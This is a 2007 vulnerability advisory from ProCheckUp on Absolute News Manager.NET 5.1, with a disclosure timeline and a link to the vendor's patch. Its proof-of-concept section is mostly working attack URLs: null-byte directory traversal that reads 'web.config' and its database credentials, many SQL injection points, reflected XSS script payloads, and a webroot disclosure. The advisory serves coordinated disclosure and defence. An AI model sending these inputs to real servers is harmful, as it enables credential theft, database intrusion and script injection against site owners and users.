PR07-39: Multiple vulnerabilities on Absolute News Manager.NET 5.1 including file retrieval and SQL injection
PR07-39: Multiple vulnerabilities on Absolute News Manager.NET 5.1 including
file retrieval and SQL injection
Vulnerabilities found: 16 November 2007
Vendor informed: 19 November 2007
Vulnerability fixed: 28 November 2007
Severity: High
Description:
Multiple vulnerabilities were found on Absolute News Manager.NET 5.1:
- unauthenticated file retrieval (directory traversal) on '/pages/default.aspx'
- unauthenticated SQL injection on 'xlaabsolutenm.aspx' and possibly
'/pages/default.aspx'
- XSS on 'xlaabsolutenm.aspx' and '/pages/default.aspx'
- webroot disclosure on 'getpath.aspx'
File retrieval PoC:
The following URL shows the contents of .NET 'web.config' (contains DB
credentials):
http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=1&template=../web.config
The following URL show contents of the vulnerable script:
http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=1&template=default.aspx%00
Note: in order to obtain the content of '.aspx' files, a null byte '%00' must
be added after the filename.
Show content of other scripts:
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../anmviewer.ascx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../default.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../PPL1HistoryTicker.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../xlagc.ascx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../xlaabsolutenm.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../streamconfig.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../articlefiles/r.asp%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00
SQL injection PoCs:
Vulnerable script: /[CustomerDefinedDir]/xlaabsolutenm.aspx
Vulnerable parameters: z, pz, ord, sort
Requesting the following URL returns the version of Windows and SQL server:
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=@@version&pz=9&featured=n&ord=desc&sort=posted&rmore=-&;
System.Data.SqlClient.SqlException: Conversion failed when converting the
nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Standard
Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.
Other URLs:
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=10&ord=asc&sort=headline'INJECTED_PAYLOAD&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=10&ord=asc'INJECTED_PAYLOAD&sort=headline&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=10'INJECTED_PAYLOAD&ord=asc&sort=headline&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=15'INJECTED_PAYLOAD&ss=y&size=1.1em&target=iframe&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4&pz=21&ord=asc&sort=headline'INJECTED_PAYLOAD&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4&pz=21&ord=asc'INJECTED_PAYLOAD&sort=headline&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4&pz=21'INJECTED_PAYLOAD&ord=asc&sort=headline&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4'INJECTED_PAYLOAD&pz=21&ord=asc&sort=headline&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&ord=desc&sort=posted'INJECTED_PAYLOAD&featured=n&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&ord=desc'INJECTED_PAYLOAD&sort=posted&featured=n&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=8'INJECTED_PAYLOAD&featured=only&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=9&featured=n&ord=desc&sort=posted'INJECTED_PAYLOAD&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=9&featured=n&ord=desc'INJECTED_PAYLOAD&sort=posted&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=9'INJECTED_PAYLOAD&featured=n&ord=desc&sort=posted&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6'INJECTED_PAYLOAD&ord=desc&sort=posted&featured=n&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6'INJECTED_PAYLOAD&pz=8&featured=only&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6'INJECTED_PAYLOAD&pz=9&featured=n&ord=desc&sort=posted&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=7&ord=desc&sort=posted'INJECTED_PAYLOAD&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=7&ord=desc'INJECTED_PAYLOAD&sort=posted&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=7'INJECTED_PAYLOAD&ord=desc&sort=posted&
The script '/pages/default.aspx' might also be vulnerable to SQL injection but
it has not been confirmed.
Requesting the following URLs:
http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=40&z=9999999999999
http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=9999999999999&z=1
return the following error:
System.Data.SqlClient.SqlException: Error converting data type nvarchar to int.
XSS PoCs:
Vulnerable script: '/xlaabsolutenm.aspx'
Unsanitized parameter: 'rmore'
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=1,7&sort=articleID&ord=desc&rmore=%3Cscript%3Ealert(1)%3C/script%3E&size=2&h=abc&isframe=y
Vulnerable script: '/pages/default.aspx'
Unsanitized parameter: 'template'
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=%3Cscript%3Ealert(2)%3C/script%3E
Webroot PoC:
Requesting the 'getpath.aspx' demo script discloses the physical path of the
webroot - ie:
http://target.tld/[CustomerDefinedDir]/getpath.aspx
"
Absolute News Manager Physical Path :
D:\inetpub\target.tld\[CustomerDefinedDir]\
Please delete this file from your installation.
"
Consequences:
Contents of any files on the web server can be obtained. Unauthorized SQL
queries can be injected. Scripting code can be run within the security context
of the target domain. Information about the target environment can be extracted.
Fix:
http://www.xigla.com/security/
http://www.xigla.com/security/ANMNET51-SecurityUpdate20071128.zip
Note: ProCheckUp has NOT tested the patch provided by Xigla Software.
References:
http://www.procheckup.com/Vulnerability_2007.php
http://www.xigla.com/absolutenmnet/
Credits: Adrian Pastor, Jan Fry and Richard Brain of ProCheckUp Ltd
(www.procheckup.com)
ProCheckUp thanks Xigla Software for working with us.